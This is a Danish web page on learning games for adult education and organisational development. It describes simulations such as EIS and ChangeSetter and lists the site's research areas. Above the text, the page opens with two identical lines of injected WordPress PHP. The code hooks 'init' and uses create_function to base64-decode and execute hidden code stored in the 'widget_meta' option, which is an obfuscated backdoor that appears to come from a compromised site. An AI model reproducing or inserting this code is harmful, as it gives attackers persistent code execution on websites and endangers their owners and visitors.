add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) ); Læringsspil - procespsykologi

Læringsspil

Læringsspil er velkendte redskaber til undervisning af børn og unge, hvor de anvendes til at skabe sjove og legende læringsmiljøer. I Danmark er læringsspil for voksne en mindre kendt, men hastigt voksende disciplin, som særlig vinder indpas indenfor organisationsfeltet og indenfor forbrugeradfærd.

 

For voksne handler læringsspil ikke om at levere en underholdende tilgang til læring, men derimod om at skabe et eksperimenterende rum, hvorfra deltagerne kan udlede en række relevante oplevelser, som så kvalificeres gennem andre læringsaktiviteter, eksempelvis refleksion, teoripræsentation, diskussion eller udvikling af handleplaner. Her tjener læringsspillet som en måde at give et operationelt indtryk af en proces. Et godt eksempel er værdikædeoptimering og håndtering af mellemlagre. Her kan man i litteraturen læse hvordan man skal være opmærksom på konsekvenserne af uoptimerede mellemlagre, men det er først når deltagerne prøver en simulation af en værdikæde, at de opnår en egentlig fornemmelse af hvor dynamisk og mellemlagerafhængig en produktionsproces er. Det er ikke ualmindeligt at deltagere efter en sådan simulation beretter om hvor overraskede de blev over hvor hurtigt mellemlagre ophobede sig eller løb tør.

 

Det er det som er kernen i brug af læringsspil til voksne; at skabe en umiddelbar erfaring med et emne, som kan bidrage til en operationel forståelse for stoffet, og som kan danne grundlag for en efterfølgende bearbejdning gennem andre didaktiske aktiviteter.

 

Indenfor organisationsområdet er læringsspil en praktisk måde at arbejde med et teorifelt på, som hjælper deltageren til at udvikle en operationel forståelse for en teori. I stedet for at formidle en indholdsrig nuancering af eksempelvis tre kategorier, tilbyder læringsspil typisk en operationel forståelse, enten for bevægelser mellem de tre kategorier, mellem dem og en anden teori, eller af de tre kategorier i forhold til en bestemt situation.

Læringsspil trækker ofte kraftigt på metafor- og sprogdannelser. Hos IKEA blev AITA! (attention, interest, trial, adoption) nærmest et slagord efter at have arbejdet med EIS Simulationen, og på DPU blev Maurers sproglige modstandskategorier ”Jeg forstår det ikke”, ”Jeg kan ikke lide det” og ”Jeg kan ikke lide dig” naturlige dele af sproget man brugte til at diskutere organisatorisk forandring efter at have spillet ChangeSetter. Samtidig med at forsøge at udvikle et bestemt sprog for organisationen, tilbyder læringsspil ofte en metafor, dels til at kommunikere en simplificering af en teori, og dels som refleksionsobjekt til at forstyrre og udfordre eksisterende forståelser.

For mange konsulenter udgør læringsspillet et vigtigt redskab i værktøjskassen, og der findes i dag et bredt udvalg af danske læringsspil til at faciltere voksenlæringsprocesser og andre organisatoriske processer. Spørgsmålet er herfra hvordan sådanne spil anendes mest effektivt til at skabe effektive processer blandt deltagerne, samt hvordan den spilbaserede læreproces kan anvendes til at integrere den nye viden i organisationen. Vi søger løbende nye cases om hvordan spil anvendes og bidrager til organisationsarbejdet, og er særligt interesseret i hvordan spilbaseret udvikling integreres i organisatoriske udviklingsprocesser.

Forskningen fokuserer på følgende områder:

1) Design af læringsspil til voksenuddannelse og organisationsudvikling
2) Didaktisk design af spilbaserede læreprocesser og anvendelse af læringsspil
3) Organisatorisk integration af spilbaserede processer
4) Forretningsmodeller for læringsspil og spilbaserede processer.

Du kan læse mere om denne opdeling her:

Formålet er her, at gennem samarbejde med spiludviklende og spiludbydende virksomheder, at udvikle ny viden om spilbaseret læring i organisationer, samt at gøre denne viden tilgængelig gennem praktisk samarbejde med udbydere og udviklere.